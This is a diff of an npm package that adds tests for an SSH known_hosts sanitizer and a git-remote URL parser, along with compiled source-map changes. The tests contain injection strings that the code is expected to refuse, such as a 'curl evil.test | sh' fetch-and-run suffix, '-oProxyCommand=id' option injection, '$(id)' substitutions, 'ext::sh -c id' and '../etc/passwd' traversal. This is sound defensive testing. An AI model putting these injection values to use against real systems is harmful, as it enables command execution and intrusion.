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"}

package/dist/vpn-ssh.test.js

@@ -1,6 +1,10 @@
 import { test } from "node:test";
 import assert from "node:assert/strict";
-import { isPlausibleSshPrivateKey, MAX_KNOWN_HOSTS_LINES, sanitizeKnownHosts } from "./vpn-ssh.js";
+import { execFileSync } from "node:child_process";
+import { existsSync, mkdtempSync, rmSync, writeFileSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { diffFingerprints, isPlausibleSshPrivateKey, isSshGitRemote, knownHostsFingerprints, looksLikeSshGitRemote, MAX_KNOWN_HOSTS_LINES, parseGitRemote, sanitizeKnownHosts, sshKeyFingerprint, validateKnownHostsInput, } from "./vpn-ssh.js";
 const ED = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK91pDfs6YOw64Pk/1OQrblxsDl0obAVDxwCRQdDWeVM";
 const ECDSA = "ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBvuulkZYdqW+h/n3m7I39sGrSATHP+KNj8oDXKvXuio3bne5GoiF6ePP8jCxnH/fhJ3rMy4Sidwg3aYllX4110=";
 test("sanitizeKnownHosts accepts host-key and cert-authority lines, drops comments, blanks and duplicates", () => {
@@ -72,4 +76,199 @@ test("isPlausibleSshPrivateKey: a PEM/OpenSSH private-key block of sane size, no
         assert.equal(isPlausibleSshPrivateKey(bad), false, String(bad).slice(0, 40));
     }
 });
+// ---------------------------------------------------------------------------
+// PR-G: catch-all patterns, the strict front door, fingerprints, git remotes
+// ---------------------------------------------------------------------------
+test("sanitizeKnownHosts refuses catch-all and negation-only host patterns, on host-key and cert-authority lines alike", () => {
+    const bad = [
+        "*",
+        "?",
+        "*.*",
+        "**",
+        "*?*",
+        "[*]:22",
+        "[*]:2222,[?]:22",
+        "*:2222",
+        "*]:2222",
+        "?:22",
+        "*.*:2222",
+        "[*:2222",
+        "*:22:2222",
+        "!git.corp.test",
+        "!a.corp.test,!b.corp.test",
+        "git.corp.test,",
+        ",git.corp.test",
+        "git.corp.test,,b.corp.test",
+        "!",
+        Array.from({ length: 17 }, (_, i) => `h${i}.corp.test`).join(","),
+    ];
+    for (const hosts of bad) {
+        assert.deepEqual(sanitizeKnownHosts([`${hosts} ${ED}`]).lines, [], `plain: ${hosts}`);
+        assert.deepEqual(sanitizeKnownHosts([`@cert-authority ${hosts} ${ED}`]).lines, [], `ca: ${hosts}`);
+    }
+    const good = ["*.corp.test", "git.corp.test,!bad.corp.test", "[git.corp.test]:2222", "git.corp.test:2222", "*.corp.test:2222", "10.20.0.5", "git?.corp.test", "*.corp.test,!gw.corp.test"];
+    for (const hosts of good)
+        assert.equal(sanitizeKnownHosts([`${hosts} ${ED}`]).lines.length, 1, hosts);
+    assert.equal(sanitizeKnownHosts([`@cert-authority *.corp.test ${ED}`]).lines.length, 1);
+});
+test("sanitizeKnownHosts: injection attempts through every field are refused", () => {
+    const attempts = [
+        `git.corp.test ${ED}; curl evil.test | sh`,
+        `git.corp.test ${ED}\n@cert-authority * ${ED}`,
+        `git.corp.test ${ED}\r\ngit2.corp.test ${ED}`,
+        `command="id" ${ED}`,
+        `no-pty,command="id" git.corp.test ${ED}`,
+        `cert-authority git.corp.test ${ED}`, // missing @
+        `@cert-authority,@revoked git.corp.test ${ED}`,
+        `@CERT-AUTHORITY git.corp.test ${ED}`,
+        `git.corp.test ${ED.replace("ssh-ed25519", "ssh-ed25519 -oProxyCommand=id")}`,
+        `$(id).corp.test ${ED}`,
+        `git.corp.test\`id\` ${ED}`,
+        `git.corp.test"${ED}`,
+        `'git.corp.test' ${ED}`,
+        `git.corp.test ${ED} comment\x07bell`,
+        `git.corp.test ${ED} comment\x1b[31mred`,
+        `git.corp.test ${ED} comment\x7f`,
+        `git.corp.test\x0b${ED}`, // a control character as the separator
+        `git.corp.test ${ED} ${"c".repeat(201)}`, // comment over the cap
+        `${"a".repeat(2100)} ${ED}`,
+    ];
+    const r = sanitizeKnownHosts(attempts);
+    assert.deepEqual(r.lines, []);
+    assert.equal(r.rejected.length, attempts.length);
+    // Surrounding whitespace is trimmed (the stored line is the clean one), never carried into the file.
+    assert.deepEqual(sanitizeKnownHosts([`\x0b git.corp.test ${ED} \t`]).lines, [`git.corp.test ${ED}`]);
+});
+test("validateKnownHostsInput is all-or-nothing, counts lines, and never echoes a refused line", () => {
+    const ok = validateKnownHostsInput(["# c", `git.corp.test ${ED}`, ""]);
+    assert.deepEqual(ok, { ok: true, lines: [`git.corp.test ${ED}`], errors: [] });
+    assert.deepEqual(validateKnownHostsInput([]), { ok: true, lines: [], errors: [] });
+    const secret = "-----BEGIN OPENSSH PRIVATE KEY-----";
+    const bad = validateKnownHostsInput([`git.corp.test ${ED}`, secret, "*" + ` ${ED}`]);
+    assert.equal(bad.ok, false);
+    assert.deepEqual(bad.lines, []);
+    assert.equal(bad.errors.length, 2);
+    assert.match(bad.errors[0], /^line 2 /);
+    assert.match(bad.errors[1], /^line 3 /);
+    assert.equal(JSON.stringify(bad).includes("PRIVATE"), false);
+    for (const notList of ["text", 7, null, undefined, {}, { length: 1 }])
+        assert.equal(validateKnownHostsInput(notList).ok, false);
+    assert.equal(validateKnownHostsInput(Array.from({ length: MAX_KNOWN_HOSTS_LINES * 4 + 1 }, () => "x")).ok, false);
+    // More than the line cap of GOOD lines is refused, not truncated.
+    const many = validateKnownHostsInput(Array.from({ length: MAX_KNOWN_HOSTS_LINES + 1 }, (_, i) => `h${i}.corp.test ${ED}`));
+    assert.equal(many.ok, false);
+    assert.equal(many.errors.length, 1);
+    // Lots of bad lines: a bounded error list.
+    const lots = validateKnownHostsInput(Array.from({ length: 100 }, () => "junk"));
+    assert.equal(lots.errors.length, 21);
+    assert.match(lots.errors[20], /80 more/);
+});
+test("fingerprints are SHA256 of the key blob and equal what ssh-keygen -l prints", async () => {
+    const fp = await sshKeyFingerprint(ED.split(" ")[1]);
+    assert.match(fp, /^SHA256:[A-Za-z0-9+/]{43}$/);
+    const entries = await knownHostsFingerprints([`git.corp.test,10.20.0.5 ${ED}`, `@cert-authority *.corp.test ${ECDSA} ca`, "garbage line"]);
+    assert.deepEqual(entries, [
+        { hosts: "git.corp.test,10.20.0.5", keyType: "ssh-ed25519", fingerprint: fp, certAuthority: false },
+        { hosts: "*.corp.test", keyType: "ecdsa-sha2-nistp256", fingerprint: await sshKeyFingerprint(ECDSA.split(" ")[1]), certAuthority: true },
+    ]);
+    const haveKeygen = ["/usr/bin", "/usr/local/bin", "/opt/homebrew/bin"].some((d) => existsSync(join(d, "ssh-keygen")));
+    if (!haveKeygen)
+        return;
+    const dir = mkdtempSync(join(tmpdir(), "afkh-"));
+    try {
+        const file = join(dir, "known_hosts");
+        writeFileSync(file, `git.corp.test ${ED}\ngit2.corp.test ${ECDSA}\n`);
+        const out = execFileSync("ssh-keygen", ["-l", "-f", file], { encoding: "utf8" });
+        assert.ok(out.includes(fp), out);
+        assert.ok(out.includes(await sshKeyFingerprint(ECDSA.split(" ")[1])), out);
+    }
+    finally {
+        rmSync(dir, { recursive: true, force: true });
+    }
+});
+test("diffFingerprints reports added and removed fingerprints only", () => {
+    const e = (fingerprint) => ({ hosts: "h", keyType: "ssh-ed25519", fingerprint, certAuthority: false });
+    assert.deepEqual(diffFingerprints([e("SHA256:a"), e("SHA256:b")], [e("SHA256:b"), e("SHA256:c")]), { added: ["SHA256:c"], removed: ["SHA256:a"] });
+    assert.deepEqual(diffFingerprints([], []), { added: [], removed: [] });
+});
+test("parseGitRemote: https is unchanged, ssh:// and scp-like need a user and a plain host", () => {
+    assert.deepEqual(parseGitRemote("https://github.com/org/repo.git")?.kind, "https");
+    assert.deepEqual(parseGitRemote("ssh://git@git.corp.test/org/repo.git"), { kind: "ssh", form: "url", user: "git", host: "git.corp.test", port: null, path: "/org/repo.git" });
+    assert.deepEqual(parseGitRemote("ssh://git@10.20.0.5:2222/srv/git/repo.git"), { kind: "ssh", form: "url", user: "git", host: "10.20.0.5", port: 2222, path: "/srv/git/repo.git" });
+    assert.deepEqual(parseGitRemote("git@git.corp.test:org/repo.git"), { kind: "ssh", form: "scp", user: "git", host: "git.corp.test", port: null, path: "org/repo.git" });
+    assert.deepEqual(parseGitRemote("git@git.corp.test:/srv/git/repo.git"), { kind: "ssh", form: "scp", user: "git", host: "git.corp.test", port: null, path: "/srv/git/repo.git" });
+    assert.equal(isSshGitRemote("git@git.corp.test:org/repo.git"), true);
+    assert.equal(isSshGitRemote("https://github.com/org/repo.git"), false);
+});
+test("parseGitRemote refuses everything that could be read as an option, a command or another transport", () => {
+    const bad = [
+        "ssh://git.corp.test/org/repo.git", // no user: ssh would use the Mac's own account name
+        "ssh://@git.corp.test/org/repo.git",
+        "ssh://git:secret@git.corp.test/org/repo.git",
+        "ssh://git@-oProxyCommand=id/org/repo.git",
+        "ssh://-oProxyCommand=id@git.corp.test/org/repo.git",
+        "ssh://git@git.corp.test:0/org/repo.git",
+        "ssh://git@git.corp.test:65536/org/repo.git",
+        "ssh://git@git.corp.test:99999999/org/repo.git",
+        "ssh://git@[fe80::1]/org/repo.git",
+        "ssh://git@[::1]:22/org/repo.git",
+        "ssh://git@git.corp.test/../etc/passwd",
+        "ssh://git@git.corp.test/org/../repo.git",
+        "ssh://git@git.corp.test/",
+        "ssh://git@git.corp.test",
+        "ssh://git@git.corp.test/org/repo.git?x=1",
+        "ssh://git@git.corp.test/org/repo.git#frag",
+        "ssh://git@git.corp.test/org/repo.git ",
+        "ssh://git@git.corp.test/org/re po.git",
+        "ssh://git@git.corp.test/org/repo.git;id",
+        "ssh://git@git.corp.test/org/$(id)",
+        "ssh://git@git.corp.test/org/`id`",
+        "ssh://git@git.corp.test/org/repo%0a.git",
+        "ssh://git@git.corp.test/-oProxyCommand=id",
+        "ssh://git@git.corp.test/org/repo.git\nnext",
+        "ssh://git@git%2ecorp.test/org/repo.git",
+        "ssh://git@git_corp.test/org/repo.git",
+        "ssh://git@.git.corp.test/org/repo.git",
+        "ssh://git@git.corp.test./org/repo.git",
+        "git.corp.test:org/repo.git", // scp-like without a user
+        "@git.corp.test:org/repo.git",
+        "-oProxyCommand=id@git.corp.test:org/repo.git",
+        "git@-oProxyCommand=id:org/repo.git",
+        "git@git.corp.test:-oProxyCommand=id",
+        "git@git.corp.test:../etc/passwd",
+        "git@git.corp.test:org/../repo.git",
+        "git@git.corp.test:",
+        "git@[::1]:org/repo.git",
+        "git@git.corp.test:org/repo.git;id",
+        "git@git.corp.test:org/repo git",
+        "git@git.corp.test:org/$(id)",
+        "git@git.corp.test:org/repo.git\n",
+        "ext::sh -c id",
+        "ext::sh -c 'id' git@x:y",
+        "git://git.corp.test/org/repo.git",
+        "http://git.corp.test/org/repo.git",
+        "file:///etc",
+        "file://git@host/etc",
+        "/local/path/repo.git",
+        "C:/repos/x",
+        "javascript:alert(1)",
+        "git+ssh://git@git.corp.test/org/repo.git",
+        "ssh+git://git@git.corp.test/org/repo.git",
+        "ssh://git@git.corp.test:22:22/org/repo.git",
+        "",
+        " ",
+        "x".repeat(2000),
+        `ssh://git@git.corp.test/${"a".repeat(600)}`,
+    ];
+    for (const url of bad)
+        assert.equal(parseGitRemote(url)?.kind === "ssh", false, url.slice(0, 80));
+    assert.equal(parseGitRemote(undefined), null);
+    assert.equal(parseGitRemote(42), null);
+});
+test("looksLikeSshGitRemote flags ssh-shaped input (valid or not) and leaves https, other schemes and local paths alone", () => {
+    for (const v of ["ssh://git@h/p", "ssh://", "git@h:p", "h:p", "user@h:/p", "ext::sh -c id", "javascript:alert(1)", "-oProxyCommand=id@h:p"])
+        assert.equal(looksLikeSshGitRemote(v), true, v);
+    for (const v of ["https://github.com/o/r", "http://h/p", "git://h/p", "file:///x", "/local/path", "./rel/path", "C:\\repos\\x", "C:/repos/x", "", 5, null])
+        assert.equal(looksLikeSshGitRemote(v), false, String(v));
+});
 //# sourceMappingURL=vpn-ssh.test.js.map

package/dist/vpn-ssh.test.js.map

@@ -1 +1 @@
-{"version":3,"file":"vpn-ssh.test.js","sourceRoot":"","sources":["../src/vpn-ssh.test.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"vpn-ssh.test.js","sourceRoot":"","sources":["../src/vpn-ssh.test.ts"],"names":[],"mappings":"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